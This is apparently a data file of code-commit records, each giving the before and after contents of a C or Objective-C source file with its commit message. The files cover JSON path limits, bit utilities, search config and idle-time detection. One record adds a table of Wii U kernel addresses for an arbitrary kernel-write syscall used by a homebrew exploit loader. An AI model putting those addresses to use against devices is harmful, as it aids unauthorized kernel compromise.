{"commit":"4e139df2bc57e16133860dac7612265bcef77032","old_file":"subdoc\/path.h","new_file":"subdoc\/path.h","old_contents":"#ifndef SUBDOC_PATH_H\n#define SUBDOC_PATH_H\n\n#include \"subdoc-api.h\"\n#include \"jsonsl_header.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define COMPONENTS_ALLOC 32\ntypedef struct subdoc_PATH_st {\n    struct jsonsl_jpr_st jpr_base;\n    struct jsonsl_jpr_component_st components_s[COMPONENTS_ALLOC];\n    int has_negix; \/* True if there is a negative array index in the path *\/\n} subdoc_PATH;\n\nstruct subdoc_PATH_st *subdoc_path_alloc(void);\nvoid subdoc_path_free(struct subdoc_PATH_st*);\nvoid subdoc_path_clear(struct subdoc_PATH_st*);\nint subdoc_path_parse(struct subdoc_PATH_st *nj, const char *path, size_t len);\njsonsl_error_t subdoc_path_add_arrindex(subdoc_PATH *pth, size_t ixnum);\n#define subdoc_path_pop_component(pth) do { \\\n    (pth)->jpr_base.ncomponents--; \\\n} while (0);\n\n#ifdef __cplusplus\n}\n#endif\n#endif\n","new_contents":"#ifndef SUBDOC_PATH_H\n#define SUBDOC_PATH_H\n\n#include \"subdoc-api.h\"\n#include \"jsonsl_header.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/\/ Maximum number of components in a path. Set to 33 to allow 32 'actual'\n\/\/ components plus the implicit root element.\n#define COMPONENTS_ALLOC 33\n\ntypedef struct subdoc_PATH_st {\n    struct jsonsl_jpr_st jpr_base;\n    struct jsonsl_jpr_component_st components_s[COMPONENTS_ALLOC];\n    int has_negix; \/* True if there is a negative array index in the path *\/\n} subdoc_PATH;\n\nstruct subdoc_PATH_st *subdoc_path_alloc(void);\nvoid subdoc_path_free(struct subdoc_PATH_st*);\nvoid subdoc_path_clear(struct subdoc_PATH_st*);\nint subdoc_path_parse(struct subdoc_PATH_st *nj, const char *path, size_t len);\njsonsl_error_t subdoc_path_add_arrindex(subdoc_PATH *pth, size_t ixnum);\n#define subdoc_path_pop_component(pth) do { \\\n    (pth)->jpr_base.ncomponents--; \\\n} while (0);\n\n#ifdef __cplusplus\n}\n#endif\n#endif\n","subject":"Allow access to documents of depth 32","message":"Allow access to documents of depth 32\n","lang":"C","license":"apache-2.0","repos":"mnunberg\/subjson,mnunberg\/subjson"}
{"commit":"8650caef5b7e0729e2edabe780dfcdea6d6648d7","old_file":"include\/bitops.h","new_file":"include\/bitops.h","old_contents":"#ifndef __BITOPS_H__\n#define __BITOPS_H__\n\n#include <asm\/bitops.h>\n#include <types.h>\n\nstatic inline int fls(int x)\n{\n        return WORD_BITS - __clz(x);\n}\n\nstatic inline int ffs(int x)\n{\n\t\/* mask the least significant bit only *\/\n\treturn fls(x & -x);\n}\n\nstatic inline int log2(int x)\n{\n\tif (!x)\n\t\treturn INF;\n\n\tint sign = 1;\n\n\tif (x < 0) {\n\t\tsign = -sign;\n\t\tx = -x;\n\t}\n\n\treturn (fls(x) - 1) * sign;\n}\n\n#endif \/* __BITOPS_H__ *\/\n","new_contents":"#ifndef __BITOPS_H__\n#define __BITOPS_H__\n\n#include <asm\/bitops.h>\n#include <types.h>\n\nstatic inline int fls(int x)\n{\n        return WORD_BITS - __clz(x);\n}\n\nstatic inline int ffs(int x)\n{\n\t\/* mask the least significant bit only *\/\n\treturn fls(x & -x);\n}\n\nstatic inline int digits(const unsigned int n)\n{\n\tassert(sizeof(n) == 4);\n\n\tconst int tbl[] = {\n\t\t10, 10, 9, 9, 9, 8, 8, 8, 7, 7, 7, 7, 6, 6, 6, 5,\n\t\t5, 5, 4, 4, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1,\n\t\t0 };\n\tconst unsigned int base[] = {\n\t\t0,\n\t\t10,\n\t\t100,\n\t\t1000,\n\t\t10000,\n\t\t100000,\n\t\t1000000,\n\t\t10000000,\n\t\t100000000,\n\t\t1000000000 };\n\tint digits = tbl[__clz(n)];\n\n\tif (base[digits] <= n)\n\t\tdigits++;\n\n\treturn digits;\n}\n\nstatic inline int log2(int x)\n{\n\tif (!x)\n\t\treturn INF;\n\n\tint sign = 1;\n\n\tif (x < 0) {\n\t\tsign = -sign;\n\t\tx = -x;\n\t}\n\n\treturn (fls(x) - 1) * sign;\n}\n\n#endif \/* __BITOPS_H__ *\/\n","subject":"Add digits() to count digits of `unsigned int` value","message":"Add digits() to count digits of `unsigned int` value\n","lang":"C","license":"apache-2.0","repos":"onkwon\/yaos,onkwon\/yaos,onkwon\/yaos"}
{"commit":"507c61e2567c01f86e8bea87a37b173318779fb4","old_file":"libexec\/lukemftpd\/nbsd2fbsd.h","new_file":"libexec\/lukemftpd\/nbsd2fbsd.h","old_contents":"\/* $FreeBSD$ *\/\n\n\/* XXX: Depend on our system headers protecting against multiple includes. *\/\n#include <paths.h>\n#undef _PATH_FTPUSERS\n\n#include <pwd.h>\n\n#define _DIAGASSERT(x)\n\n#include <sys\/_types.h>\n#ifndef _SIZE_T_DECLARED\ntypedef\t__size_t\tsize_t;\n#define\t_SIZE_T_DECLARED\n#endif\nlong long strsuftollx(const char *, const char *,\n    long long, long long, char *, size_t);\n","new_contents":"\/* $FreeBSD$ *\/\n\n\/* XXX: Depend on our system headers protecting against multiple includes. *\/\n#include <paths.h>\n#undef _PATH_FTPUSERS\n\n#include <pwd.h>\n\n#define _DIAGASSERT(x)\n\n#include <sys\/_types.h>\n#ifndef _SIZE_T_DECLARED\ntypedef\t__size_t\tsize_t;\n#define\t_SIZE_T_DECLARED\n#endif\nlong long strsuftollx(const char *, const char *,\n    long long, long long, char *, size_t);\n\n\/*\n * IEEE Std 1003.1c-95, adopted in X\/Open CAE Specification Issue 5 Version 2\n *\/\n#if __POSIX_VISIBLE >= 199506 || __XSI_VISIBLE >= 500\n#define\tLOGIN_NAME_MAX\tMAXLOGNAME\t\/* max login name length (incl. NUL) *\/\n#endif\n","subject":"Deal with the LOGIN_NAME_MAX issue in the NetBSD->FreeBSD translation^H^H^Hhack layer.","message":"Deal with the LOGIN_NAME_MAX issue in the NetBSD->FreeBSD\ntranslation^H^H^Hhack layer.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"80e4e2a943d9a156ed2a674a76a1da42b891dd57","old_file":"Josh_Zane_Sebastian\/src\/main.h","new_file":"Josh_Zane_Sebastian\/src\/main.h","old_contents":"#define T_INT 0\n#define T_CHR 1\n#define T_RTN 2\n\nstruct stack_node {\n    struct stack_node *cdr;\n    union node_data data;\n    char type;\n}\n\nunion node_data {\n    struct routine routine;\n    int numval;\n}\n\nstruct routine {\n    struct routine *parent;\n    struct iq_node *nodes;\n    int num_nodes;\n}\n\nstruct iq_node {\n    struct iq_node *next;\n    union node_data instr;\n    char type;\n}\n","new_contents":"#define T_INT 0\n#define T_CHR 1\n#define T_RTN 2\n\nstruct stack_node {\n    struct stack_node *cdr;\n    union node_data data;\n    char type;\n}\n\nunion node_data {\n    struct routine routine;\n    int numval;\n}\n\nstruct routine {\n    struct routine *parent;\n    struct iq_node *nodes;\n}\n\nstruct iq_node {\n    struct iq_node *next;\n    union node_data instr;\n    char type;\n}\n","subject":"Remove unused node-counter in routines","message":"Remove unused node-counter in routines\n","lang":"C","license":"mit","repos":"aacoppa\/final,aacoppa\/final"}
{"commit":"36bf68a93c844399befddd3830407561a4d18810","old_file":"Pod\/Classes\/SEEngineProtocol.h","new_file":"Pod\/Classes\/SEEngineProtocol.h","old_contents":"\/\/\n\/\/  SEEngineProtocol.h\n\/\/  Pods\n\/\/\n\/\/  Created by Danil Tulin on 3\/14\/16.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol EngineProtocol <NSObject>\n\n- (void)feedBGRAImageData:(u_int8_t *)data\n\t\t\t\t\twidth:(NSUInteger)width\n\t\t\t\t  heieght:(NSUInteger)height;\n\n@property (nonatomic) CGFloat progress;\n\n@end\n","new_contents":"\/\/\n\/\/  SEEngineProtocol.h\n\/\/  Pods\n\/\/\n\/\/  Created by Danil Tulin on 3\/14\/16.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol EngineProtocol <NSObject>\n\n@required\n\n- (void)feedBGRAImageData:(u_int8_t *)data\n\t\t\t\t\twidth:(NSUInteger)width\n\t\t\t\t  heieght:(NSUInteger)height;\n\n@property (nonatomic) float progress;\n\n@end\n","subject":"Add required and CGFloat -> float","message":"Add required and CGFloat -> float\n","lang":"C","license":"mit","repos":"tulindanil\/SEUIKit"}
{"commit":"4a1681141d6a415ffbcad7dd5b672b01dd75d429","old_file":"search\/config.h","new_file":"search\/config.h","old_contents":"\/* for MAX_TXT_SEG_BYTES & MAX_TXT_SEG_LEN *\/\n#include \"txt-seg\/config.h\"\n#define MAX_TERM_BYTES MAX_TXT_SEG_BYTES\n\n\/* consider both math & term *\/\n#define MAX_QUERY_BYTES     (MAX_TXT_SEG_BYTES * 32)\n#define MAX_QUERY_WSTR_LEN  (MAX_TXT_SEG_LEN * 32)\n\n#define MAX_MERGE_POSTINGS 4096\n\n#define SNIPPET_PADDING    80\n#define MAX_SNIPPET_SZ     4096\n\n\/\/#define DEBUG_SNIPPET\n\n\/\/#define DEBUG_POST_MERGE\n\n\/* max mark score, type of mnc_score_t *\/\n#define MNC_MARK_SCORE 99\n\n\/*\n#define MNC_DEBUG\n#define MNC_SMALL_BITMAP\n*\/\n\n\/\/#define DEBUG_MATH_EXPR_SEARCH\n\n#define RANK_SET_DEFAULT_VOL 45\n#define DEFAULT_RES_PER_PAGE 10\n\n\/\/#define DEBUG_PROXIMITY\n#define ENABLE_PROXIMITY_SCORE\n\n#define MAX_HIGHLIGHT_OCCURS 8\n\/\/#define DEBUG_HILIGHT_SEG_OFFSET\n\/\/#define DEBUG_HILIGHT_SEG\n\n\/\/#define DEBUG_MATH_SCORE_POSTING\n\/\/#define VERBOSE_SEARCH\n\n\/\/#define DEBUG_MATH_SEARCH\n\n\/\/#define DEBUG_PRINT_TARGET_DOC_MATH_SCORE\n","new_contents":"\/* for MAX_TXT_SEG_BYTES & MAX_TXT_SEG_LEN *\/\n#include \"txt-seg\/config.h\"\n#define MAX_TERM_BYTES MAX_TXT_SEG_BYTES\n\n\/* consider both math & term *\/\n#define MAX_QUERY_BYTES     (MAX_TXT_SEG_BYTES * 32)\n#define MAX_QUERY_WSTR_LEN  (MAX_TXT_SEG_LEN * 32)\n\n#define MAX_MERGE_POSTINGS 4096\n\n#define SNIPPET_PADDING    320\n#define MAX_SNIPPET_SZ     8192\n\n\/\/#define DEBUG_SNIPPET\n\n\/\/#define DEBUG_POST_MERGE\n\n\/* max mark score, type of mnc_score_t *\/\n#define MNC_MARK_SCORE 99\n\n\/*\n#define MNC_DEBUG\n#define MNC_SMALL_BITMAP\n*\/\n\n\/\/#define DEBUG_MATH_EXPR_SEARCH\n\n#define RANK_SET_DEFAULT_VOL 155\n#define DEFAULT_RES_PER_PAGE 10\n\n\/\/#define DEBUG_PROXIMITY\n#define ENABLE_PROXIMITY_SCORE\n\n#define MAX_HIGHLIGHT_OCCURS 8\n\/\/#define DEBUG_HILIGHT_SEG_OFFSET\n\/\/#define DEBUG_HILIGHT_SEG\n\n\/\/#define DEBUG_MATH_SCORE_POSTING\n\/\/#define VERBOSE_SEARCH\n\n\/\/#define DEBUG_MATH_SEARCH\n\n\/\/#define DEBUG_PRINT_TARGET_DOC_MATH_SCORE\n","subject":"Enlarge snippet size and rank volumn.","message":"Enlarge snippet size and rank volumn.\n","lang":"C","license":"mit","repos":"approach0\/search-engine,approach0\/search-engine,yzhan018\/the-day-after-tomorrow,yzhan018\/the-day-after-tomorrow,t-k-\/the-day-after-tomorrow,yzhan018\/the-day-after-tomorrow,yzhan018\/the-day-after-tomorrow,yzhan018\/the-day-after-tomorrow,t-k-\/the-day-after-tomorrow,t-k-\/the-day-after-tomorrow,yzhan018\/the-day-after-tomorrow,yzhan018\/the-day-after-tomorrow,approach0\/search-engine,t-k-\/the-day-after-tomorrow,approach0\/search-engine,t-k-\/the-day-after-tomorrow,t-k-\/the-day-after-tomorrow,t-k-\/the-day-after-tomorrow"}
{"commit":"d03603a903096eebfab0972a78e5038c41c75534","old_file":"framework\/JPetUser\/JPetUser.h","new_file":"framework\/JPetUser\/JPetUser.h","old_contents":"\/\/ JPet User - JPetUser.h\n#ifndef JPET_USER_H\n#define JPET_USER_H\n\n#include \"TNamed.h\"\n\n\nclass JPetUser: public TNamed\n{\nprotected:\n  int m_id;\n  std::string m_name;\n  std::string m_lastName;\n  std::string m_login;\n  std::string m_password;\n  bool m_isRoot;\n  std::string m_creationDate;\n  std::string m_lastLoginDate;\n  \n  static bool m_isUserLogged;\n  inline void toggleUserLoggedStatus()\n  {\n    m_isUserLogged = (m_isUserLogged == true) ? false : true;\n  }\n  virtual std::string password(void) const;\n  \npublic:\n  JPetUser(int p_id, std::string p_name, std::string p_lastName, std::string p_login, std::string p_password, bool p_isRoot);\n  virtual ~JPetUser(void);\n  \n  static bool isUserLogged(void);\n  virtual bool logIn(void);\n  virtual bool logOut(void);\n  virtual bool changeLogin(void);\n  virtual bool changePassword(void);\n  \n  virtual int id(void) const;\n  virtual std::string name(void) const;\n  virtual std::string lastName(void) const;\n  virtual std::string login(void) const;\n  virtual bool isRoot(void) const;\n  virtual std::string creationDate(void) const;\n  virtual std::string lastLoginDate(void) const;\n  \nprivate:\n  ClassDef(JPetUser, 1);\n};\n\n#endif \/\/ JPET_USER_H\n","new_contents":"\/\/ JPet User - JPetUser.h\n#ifndef JPET_USER_H\n#define JPET_USER_H\n\n#include \"TNamed.h\"\n\n\nclass JPetUser: public TNamed\n{\nprotected:\n  int m_id;\n  std::string m_name;\n  std::string m_lastName;\n  std::string m_login;\n  std::string m_password;\n  bool m_isRoot;\n  std::string m_creationDate;\n  std::string m_lastLoginDate;\n  \n  static bool m_isUserLogged;\n  inline void toggleUserLoggedStatus()\n  {\n    m_isUserLogged = !m_isUserLogged;\n  }\n  virtual std::string password(void) const;\n  \npublic:\n  JPetUser(int p_id, std::string p_name, std::string p_lastName, std::string p_login, std::string p_password, bool p_isRoot);\n  virtual ~JPetUser(void);\n  \n  static bool isUserLogged(void);\n  virtual bool logIn(void);\n  virtual bool logOut(void);\n  virtual bool changeLogin(void);\n  virtual bool changePassword(void);\n  \n  virtual int id(void) const;\n  virtual std::string name(void) const;\n  virtual std::string lastName(void) const;\n  virtual std::string login(void) const;\n  virtual bool isRoot(void) const;\n  virtual std::string creationDate(void) const;\n  virtual std::string lastLoginDate(void) const;\n  \nprivate:\n  ClassDef(JPetUser, 1);\n};\n\n#endif \/\/ JPET_USER_H\n","subject":"Change body of the toggleUserLoggedStatus method.","message":"Change body of the toggleUserLoggedStatus method.\n","lang":"C","license":"apache-2.0","repos":"kmuzalewska\/j-pet-framework,kmuzalewska\/j-pet-framework,kmuzalewska\/j-pet-framework,kmuzalewska\/j-pet-framework,kmuzalewska\/j-pet-framework"}
{"commit":"a58465ff0f6acb358e7ce91e076803f53ab340da","old_file":"chapter2\/myspace.c","new_file":"chapter2\/myspace.c","old_contents":"","new_contents":"#include <cs50.h>\n#include <ctype.h>\n#include <stdio.h>\n#include <string.h>\n\n\/\/ declare main so that it takes input from command line\nint main(int argc, string argv[])\n{\n    for (int i = 1; i < argc; i++)\n    {\n        for (int j = 0, k = strlen(argv[i]); j < k; j++)\n        {\n            if (j % 2 == 0)\n            {\n                printf(\"%c\", toupper(argv[i][j]));\n            }\n            else\n            {\n                printf(\"%c\", tolower(argv[i][j]));\n            }\n            printf(\" \");\n        }\n        printf(\" \");\n    }\n\n    printf(\"\\n\");\n}","subject":"Add additional string iteration program example","message":"Add additional string iteration program example\n","lang":"C","license":"mit","repos":"cs50sacramento\/source-code-1617,cs50sacramento\/source-code-1617,cs50sacramento\/source-code-1617"}
{"commit":"e141aba93148a0e2b5bbcbde36b37d3cf171d1f2","old_file":"chapter27\/chapter27_drill.c","new_file":"chapter27\/chapter27_drill.c","old_contents":"\/*  Chapter 27, drill\n    1. Write a Hello World program\n    2. Define two variables holding \"Hello\" and \"World!\", concatenate them with\n       a space in between and output them as \"Hello World!\"\n    3. Define a function taking a char* p and an int x, print their values in\n       the format \"p is 'foo' and x is 7\". Call it with a few argument pairs. *\/\n\n#include<stdlib.h>\n#include<string.h>\n#include<stdio.h>\n\nvoid my_func(char* p, int x)\n{\n    printf(\"p is \\\"%s\\\" and x is %i\\n\",p,x);\n}\n\nint main()\n{\n    printf(\"Hello World!\\n\");\n\n    char* hello = \"Hello\";\n    char* world = \"World!\";\n    char* hello_world = (char*) malloc(strlen(hello)+strlen(world)+2);\n    strcpy(hello_world,hello);\n    hello_world[strlen(hello)] = ' ';\n    strcpy(hello_world+strlen(hello)+1,world);\n    printf(\"%s\\n\",hello_world);\n\n    my_func(\"foo\",7);\n    my_func(\"Scott Meyers\",42);\n    my_func(\"Bjarne Stroustrup\",99);\n}","new_contents":"\/*  Chapter 27, drill\n    1. Write a Hello World program\n    2. Define two variables holding \"Hello\" and \"World!\", concatenate them with\n       a space in between and output them as \"Hello World!\"\n    3. Define a function taking a char* p and an int x, print their values in\n       the format \"p is 'foo' and x is 7\". Call it with a few argument pairs. *\/\n\n#include<stdlib.h>\n#include<string.h>\n#include<stdio.h>\n\nvoid my_func(char* p, int x)\n{\n    printf(\"p is \\\"%s\\\" and x is %i\\n\",p,x);\n}\n\nint main()\n{\n    printf(\"Hello World!\\n\");\n    {\n        char* hello = \"Hello\";\n        char* world = \"World!\";\n        char* hello_world = (char*) malloc(strlen(hello)+strlen(world)+2);\n        strcpy(hello_world,hello);\n        hello_world[strlen(hello)] = ' ';\n        strcpy(hello_world+strlen(hello)+1,world);\n        printf(\"%s\\n\",hello_world);\n    }\n    my_func(\"foo\",7);\n    my_func(\"Scott Meyers\",42);\n    my_func(\"Bjarne Stroustrup\",99);\n}","subject":"Modify Chapter 27, drill to comply with C89 standard","message":"Modify Chapter 27, drill to comply with C89 standard\n","lang":"C","license":"mit","repos":"bewuethr\/stroustrup_ppp,bewuethr\/stroustrup_ppp"}
{"commit":"5d1c50d7b497f623c65e24f2d02c5f867f74afcc","old_file":"restnotifier\/idletime.c","new_file":"restnotifier\/idletime.c","old_contents":"#include <QtGlobal>\n\n#if defined Q_WS_X11\n#include <X11\/extensions\/scrnsaver.h>\n#endif\n\n\n\/\/ return idle time in seconds\nint getIdleSecs()\n{\n#if defined Q_WS_X11\n    int code, idle_sec;\n    XScreenSaverInfo *ssinfo = XScreenSaverAllocInfo();\n    if (!ssinfo)\n        goto fail;\n    Display *display = XOpenDisplay(0);\n    if (!display)\n        goto fail;\n    code = XScreenSaverQueryInfo(display, DefaultRootWindow(display), ssinfo);\n    if (!code)\n        goto fail;\n    idle_sec = ssinfo->idle \/ 1000;\n    XFree(ssinfo);\n    XCloseDisplay(display);\n    return idle_sec;\n\nfail:\n    if (ssinfo)\n        XFree(ssinfo);\n    if (display)\n        XCloseDisplay(display);\n    return -1;\n#else\n    return -1;\n#endif\n}\n","new_contents":"#include <QtGlobal>\n\n\/\/ headers\n#if defined Q_WS_X11\n#include <X11\/extensions\/scrnsaver.h>\n\n#elif defined Q_WS_WIN\n#include <windows.h>\n\n#endif\n\/\/ ^ headers\n\n\n\/\/ return idle time in seconds\nint getIdleSecs()\n{\n\/\/ linux\n#if defined Q_WS_X11\n    int code, idle_sec;\n    XScreenSaverInfo *ssinfo = XScreenSaverAllocInfo();\n    if (!ssinfo)\n        goto fail;\n    Display *display = XOpenDisplay(0);\n    if (!display)\n        goto fail;\n    code = XScreenSaverQueryInfo(display, DefaultRootWindow(display), ssinfo);\n    if (!code)\n        goto fail;\n    idle_sec = ssinfo->idle \/ 1000;\n    XFree(ssinfo);\n    XCloseDisplay(display);\n    return idle_sec;\n\nfail:\n    if (ssinfo)\n        XFree(ssinfo);\n    if (display)\n        XCloseDisplay(display);\n    return -1;\n\/\/ ^ linux\n\n\/\/ windows\n#elif defined Q_WS_WIN\n    BOOL ok;\n    LASTINPUTINFO plii;\n    DWORD msec;\n    plii.cbSize = sizeof(LASTINPUTINFO);\n    plii.dwTime = 0;\n    ok = GetLastInputInfo(&plii);\n    if (!ok)\n        return -1;\n    msec = GetTickCount();\n    msec -= plii.dwTime;\n    msec \/= 1000;\n    return msec;\n\/\/ ^ windows\n\n#else\n    return -1;\n#endif\n}\n","subject":"Add idle time function for windows","message":"Add idle time function for windows\n","lang":"C","license":"mit","repos":"swarmer\/restnotifier,swarmer\/restnotifier,swarmer\/restnotifier"}
{"commit":"8a601496ec30617c6df42f31f4221b8cb1b2f866","old_file":"tests\/sv-comp\/cfg\/uncil\/and_join_invariant_true-unreach-call.c","new_file":"tests\/sv-comp\/cfg\/uncil\/and_join_invariant_true-unreach-call.c","old_contents":"","new_contents":"extern void __VERIFIER_error() __attribute__ ((__noreturn__));\nextern int __VERIFIER_nondet_int();\nvoid __VERIFIER_assert(int cond) {\n    if (!(cond)) {\n        ERROR: __VERIFIER_error();\n    }\n    return;\n}\n\nint main()\n{\n    int x = __VERIFIER_nondet_int();\n    if (x > 0 && x < 2)\n        __VERIFIER_assert(x == 1);\n    else\n        __VERIFIER_assert(1); \/\/ arbitrary node in else branch to see invariant\n    return 0;\n}","subject":"Add test about witness un-CIL invariant being incorrect when branches joined","message":"Add test about witness un-CIL invariant being incorrect when branches joined\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"dc811801dc3917f525058e06e89484704cc4b98c","old_file":"installer\/loader.h","new_file":"installer\/loader.h","old_contents":"#ifndef LOADER_H\n#define LOADER_H\n\n#include \"..\/..\/..\/libwiiu\/src\/coreinit.h\"\n#include \"..\/..\/..\/libwiiu\/src\/socket.h\"\n#include \"..\/..\/..\/libwiiu\/src\/types.h\"\n\nvoid _start();\n\nvoid _entryPoint();\n\n\/* Arbitrary kernel write syscall *\/\r\nvoid kern_write(void *addr, uint32_t value);\n\n#endif \/* LOADER_H *\/","new_contents":"#ifndef LOADER_H\n#define LOADER_H\n\n#include \"..\/..\/..\/libwiiu\/src\/coreinit.h\"\n#include \"..\/..\/..\/libwiiu\/src\/socket.h\"\n#include \"..\/..\/..\/libwiiu\/src\/types.h\"\n\n\/* Kernel address table *\/\r\n#if VER == 200\r\n\t#define KERN_ADDRESS_TBL\t\t0x0\r\n#elif VER == 210\r\n\t#define KERN_ADDRESS_TBL\t\t0x0\r\n#elif VER == 300\r\n\t#define KERN_ADDRESS_TBL\t\t0xFFEB66E4\r\n#elif VER == 310\r\n\t#define KERN_ADDRESS_TBL\t\t0x0\r\n#elif VER == 400\r\n\t#define KERN_ADDRESS_TBL\t\t0x0\r\n#elif VER == 410\r\n\t#define KERN_ADDRESS_TBL\t\t0xffeb902c\r\n#elif VER == 500\r\n\t#define KERN_ADDRESS_TBL\t\t0xffea9e4c\r\n#elif VER == 532\r\n\t#define KERN_ADDRESS_TBL\t\t0xFFEAAA10\r\n#else\r\n#error \"Unsupported Wii U software version\"\r\n#endif\n\nvoid _start();\n\nvoid _entryPoint();\n\n\/* Arbitrary kernel write syscall *\/\r\nvoid kern_write(void *addr, uint32_t value);\n\n#endif \/* LOADER_H *\/","subject":"Add KERN_ADDRESS_TBL for each version","message":"Add KERN_ADDRESS_TBL for each version\n","lang":"C","license":"mit","repos":"wiiudev\/pyGecko,cfwprpht\/pyGecko,FIX94\/pyGecko,FIX94\/pyGecko,shinyquagsire23\/pyGecko,cfwprpht\/pyGecko,wiiudev\/pyGecko,shinyquagsire23\/pyGecko"}
{"commit":"2b3e2bb2d4c5fb0185a42b50354278fea97aa817","old_file":"src\/include\/s6-rc\/s6rc-constants.h","new_file":"src\/include\/s6-rc\/s6rc-constants.h","old_contents":"\/* ISC license. *\/\n\n#ifndef S6RC_CONSTANTS_H\n#define S6RC_CONSTANTS_H\n\n#define S6RC_COMPILED_BASE \"\/etc\/s6-rc\/compiled\"\n#define S6RC_LIVE_BASE \"\/s6\/s6-rc\"\n\n#define S6RC_COMPILED_DIR_LEN 32\n\n#define S6RC_ONESHOT_RUNNER \"s6rc-oneshot-runner\"\n#define S6RC_ONESHOT_RUNNER_LEN (sizeof S6RC_ONESHOT_RUNNER - 1)\n\n#endif\n","new_contents":"\/* ISC license. *\/\n\n#ifndef S6RC_CONSTANTS_H\n#define S6RC_CONSTANTS_H\n\n#define S6RC_COMPILED_BASE \"\/etc\/s6-rc\/compiled\"\n#define S6RC_LIVE_BASE \"\/run\/s6-rc\"\n\n#define S6RC_COMPILED_DIR_LEN 32\n\n#define S6RC_ONESHOT_RUNNER \"s6rc-oneshot-runner\"\n#define S6RC_ONESHOT_RUNNER_LEN (sizeof S6RC_ONESHOT_RUNNER - 1)\n\n#endif\n","subject":"Change default live to \/run\/s6-rc","message":" Change default live to \/run\/s6-rc\n","lang":"C","license":"isc","repos":"skarnet\/s6-rc,skarnet\/s6-rc"}
{"commit":"a689b6dd0ccf5734c9c22058cb20c5a18f8fc795","old_file":"sapi\/sapi-dylink.h","new_file":"sapi\/sapi-dylink.h","old_contents":"\/\/\/ @file sapi-dylink.h\n\/\/\/ @brief Define the record used for runtime linking.\n\n\/\/\/ This structure allows forth to easily look up things on the C\n\/\/\/ side of the world.  \n\/\/\/ \n\/\/\/ Special Rules:\n\/\/\/ - The very first item is the size of the record.\n\/\/\/ \n\n\/\/ This could be packed more tightly, but its now exactly\n\/\/ 16 bytes per record, which is nice.  Make sure that doesn't\n\/\/ change.\n\ntypedef struct {\n\t\/\/ This union is a bit crazy, but its the simplest way of \n\t\/\/ getting the compiler to shut up.\n\tunion { \n\t\tvoid (*fp) (void);\n\t\tint*  ip;\n\t\tunsigned int    ui;\n\t\tunsigned int*  uip;\n\t\tunsigned long* ulp;\n\t\t} p;   \/\/\/< Pointer to the object of interest\n\tint16_t size;  \/\/\/< Size in bytes\n\tint16_t count; \/\/\/< How many\n\tint8_t kind;   \/\/\/< Is this a variable or a constant?\n\tint8_t strlen;   \/\/\/< Length of the string\n\tchar  *name; \/\/\/< Null-Terminated C string.\n\t} runtimelink_t;\n\n\n\/\/\/ Helper Macro.\n#define FORTHNAME(x) (sizeof(x)-1),x\n\nextern const runtimelink_t dynamiclinks[];\n\n","new_contents":"\/\/\/ @file sapi-dylink.h\n\/\/\/ @brief Define the record used for runtime linking.\n\n\/\/\/ This structure allows forth to easily look up things on the C\n\/\/\/ side of the world.  \n\/\/\/ \n\/\/\/ Special Rules:\n\/\/\/ - The very first item is the size of the record.\n\/\/\/ \n\n\/\/ This could be packed more tightly, but its now exactly\n\/\/ 16 bytes per record, which is nice.  Make sure that doesn't\n\/\/ change.\n\n\/\/ Conventions: \n\/\/ Size is the size of the fundamental thing in bytes, \n\/\/ and count is the number of them.\n\/\/ char array[64] = 1,64\n\/\/ struct { a, b } s; sizeof(s),1\n\ntypedef struct {\n\t\/\/ This union is a bit crazy, but its the simplest way of \n\t\/\/ getting the compiler to shut up.\n\tunion { \n\t\tvoid (*fp) (void);\n\t\tint*  ip;\n\t\tunsigned int    ui;\n\t\tunsigned int*  uip;\n\t\tunsigned long* ulp;\n\t\t} p;   \/\/\/< Pointer to the object of interest\n\tint16_t size;  \/\/\/< Size in bytes\n\tint16_t count; \/\/\/< How many\n\tint8_t kind;   \/\/\/< Is this a variable or a constant?\n\tint8_t strlen;   \/\/\/< Length of the string\n\tchar  *name; \/\/\/< Null-Terminated C string.\n\t} runtimelink_t;\n\n\n\/\/\/ Helper Macro.\n#define FORTHNAME(x) (sizeof(x)-1),x\n\nextern const runtimelink_t dynamiclinks[];\n\n","subject":"Clarify the dynamic linking structure.","message":"Clarify the dynamic linking structure.\n","lang":"C","license":"bsd-2-clause","repos":"rbsexton\/sockpuppet,rbsexton\/sockpuppet"}
{"commit":"74dab7fd5a5e1ddc73ffb56bfaeaeaae43ce609c","old_file":"Common\/Categories\/UITableView+DynamicSizing.h","new_file":"Common\/Categories\/UITableView+DynamicSizing.h","old_contents":"#import <UIKit\/UIKit.h>\n\n@protocol UITableViewDataSourceDynamicSizing;\n\n@interface UITableView (DynamicSizing)\n- (void)registerClass:(Class)cellClass forDynamicCellReuseIdentifier:(NSString *)identifier;\n- (void)registerNib:(UINib *)nib forDynamicCellReuseIdentifier:(NSString *)identifier;\n- (CGFloat)minimumHeightForCellWithReuseIdentifier:(NSString*)reuseIdentifier atIndexPath:(NSIndexPath*)indexPath;\n@end\n\n@protocol UITableViewDataSourceDynamicSizing <UITableViewDataSource>\n- (void)tableView:(UITableView*)tableView configureCell:(UITableViewCell*)cell forRowAtIndexPath:(NSIndexPath*)indexPath;\n@end","new_contents":"#import <UIKit\/UIKit.h>\n\n@protocol UITableViewDataSourceDynamicSizing;\n\n@interface UITableView (DynamicSizing)\n- (void)registerClass:(Class)cellClass forDynamicCellReuseIdentifier:(NSString *)identifier;\n- (void)registerNib:(UINib *)nib forDynamicCellReuseIdentifier:(NSString *)identifier;\n- (CGFloat)minimumHeightForCellWithReuseIdentifier:(NSString*)reuseIdentifier atIndexPath:(NSIndexPath*)indexPath;\n@end\n\n@protocol UITableViewDataSourceDynamicSizing <UITableViewDataSource>\n@required\n- (void)tableView:(UITableView*)tableView configureCell:(UITableViewCell*)cell forRowAtIndexPath:(NSIndexPath*)indexPath;\n@end","subject":"Make sure to mark all the methods in the dynamic sizing data source as required","message":"Make 